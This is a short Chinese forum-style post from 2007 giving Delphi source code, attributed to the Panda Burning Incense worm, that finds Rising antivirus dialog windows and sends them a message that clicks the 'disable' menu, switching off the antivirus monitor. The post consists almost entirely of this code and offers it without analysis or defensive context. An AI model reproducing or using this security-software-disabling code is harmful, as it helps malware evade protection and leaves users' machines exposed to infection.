熊猫烧香中如何停止瑞星的代码

编程实现停止瑞星监控delphi
 


procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND, 40027, 0); //发送消息,点击“禁用”菜单
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
StopRising; //调用
end;
最后编辑2007-05-11 09:00:01